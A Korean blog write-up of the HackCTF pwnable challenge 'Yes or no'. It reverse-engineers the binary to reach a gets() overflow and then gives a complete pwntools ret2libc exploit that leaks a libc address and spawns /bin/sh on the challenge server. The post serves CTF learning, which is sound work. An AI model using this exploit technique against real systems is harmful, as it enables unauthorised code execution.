tmxklab
[HackCTF/Pwnable] Yes or no 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3009
1) 접속
- 숫자를 입력하면 "do_system+1094"를 포함한 문자열이 출력되면서 종료
2) IDA(Pseudocode)확인 - main()
- fgets()를 통해 입력 받아 30번째 줄 else문에 들어가면 gets()를 통해 bof를 수행할 수 있음
3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
2. 접근방법
먼저, 30번째 줄 gets()가 bof를 수행할 수 있으므로 fgets()를 통해 입력받아 else문안의 if문이 실행되도록 하자
else문의 if문이 실행되기 위해서는 if문 조건을 만족시켜야 하므로 디버깅을 통해 v10에 어떤 값과 비교하는지 알아보자
( if(v10==(v6*v5) << (++v11%20+5)) )
1) v10추정
- atoi()함수를 통해 int형으로 변환된 s변수의 값을 v10에 저장하는 코드와 일치
- if(v10==(v6*v5) << (++v11%20+5))문을 만족시키는 경우 호출되는 puts()와 gets()가 포함되어 있음
- 따라서, v10은 [rbp-0x8]에 위치하는 것을 알아낼 수 있음
2) gdb분석
- 방금 전 cmp명령어가 실행되는 부분에 브레이크 포인트를 걸고 1000을 입력하여 실행해 보자
- [rbp-0x8]에는 방금 입력했던 1000이 헥사 값 형태로 들어있는 것을 확인할 수 있음
- 이제, [rbp-0x8]과 비교하는 eax값을 찾아보려 하지만 64비트 elf파일에서 eax값은 볼 수 없음
- 그 이유는 eax레지스터는 32bit환경에서 동작하지만 rax레지스터는 64bit환경에서 동작한다.
- 컴파일러의 최적화로 인해 v10은 int형(4bytes)이므로 굳이 rax를 사용하여 낭비할 필요가 없기 때문에 eax레지스터에 저장을 한 것
- 따라서, rax레지스터를 확인해보자
- rax레지스터에는 0x960000가 저장되어 있다.
- 0x960000를 십진수로 변환하면 9,830,400이므로 "9,830,400"을 입력해보자
- 입력 시 원하는 if문에 들어가면서 puts()가 실행되고 gets()를 통해 입력을 한 번 더 받을 수 있게 되었다.
2) 결론
- gets()를 통해 bof를 수행
- RTL을 사용하기 위해 system함수와 /bin/sh문자열과 가젯이 필요하다.
- system함수와 "/bin/sh"문자열 주소를 가져오기 위해 제공받은 libc파일에서 offset을 구할 수 있다.
- 하지만, 서버측에서 프로그램을 실행할 때마다 주소가 계속 변경되므로 base주소를 구하기 위해 서버쪽 파일에서 leak해서 base주소를 구해야 한다.
- 따라서, libc파일을 통해 필요한 각 함수들의 offset을 구하고 서버쪽 파일을 leak하여 base주소를 구한 뒤 다시 main함수를 return하여 system함수를 실행한다.
3. 풀이
1) 필요한 가젯 추출
$ROPgadget --binary ./yes_or_no
- "/bin/sh"를 pop해줄 수 있는 "pop rdi ret"와 system함수를 실행해줄 수 있는 "ret"가젯 추출
- pop rdi; ret; : 0x400883
- ret : 0x40056e
2) 공격코드 작성
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")
sys_offset = libc.symbols['system']
bin_offset = libc.search('/bin/sh').next()
pop_rdi = p64(0x400883)
ret = p64(0x40056e)
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
main_got = p64(e.symbols['main'])
p.recvuntil("Show me your number~!\n")
p.sendline("9830400")
p.recvuntil("That's cool. Follow me\n")
payload = "A"*26
payload += pop_rdi
payload += puts_got
payload += puts_plt
payload += main_got
p.sendline(payload)
puts_addr = p.recv(6)
puts_addr += "\x00\x00"
puts_addr = u64(puts_addr)
log.info("leak ="+hex(puts_addr))
libc_addr = puts_addr - libc.symbols['puts']
system_addr = p64(libc_addr + sys_offset)
binsh_addr = p64(libc_addr + bin_offset)
p.recvuntil("Show me your number~!\n")
p.sendline("9830400")
p.recvuntil("That's cool. Follow me\n")
payload = "A"*26
payload += pop_rdi
payload += binsh_addr
payload += ret
payload += system_addr
p.sendline(payload)
p.interactive()
3) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] g++ pwn (0) | 2020.02.22 |
---|---|
[HackCTF/Pwnable] RTL_World (0) | 2020.02.22 |
[HackCTF/Pwnable] BOF_PIE (0) | 2020.01.28 |
[HackCTF/Pwnable] Offset (0) | 2020.01.27 |
[HackCTF/Pwnable] Simple_Overflow_ver_2 (0) | 2020.01.27 |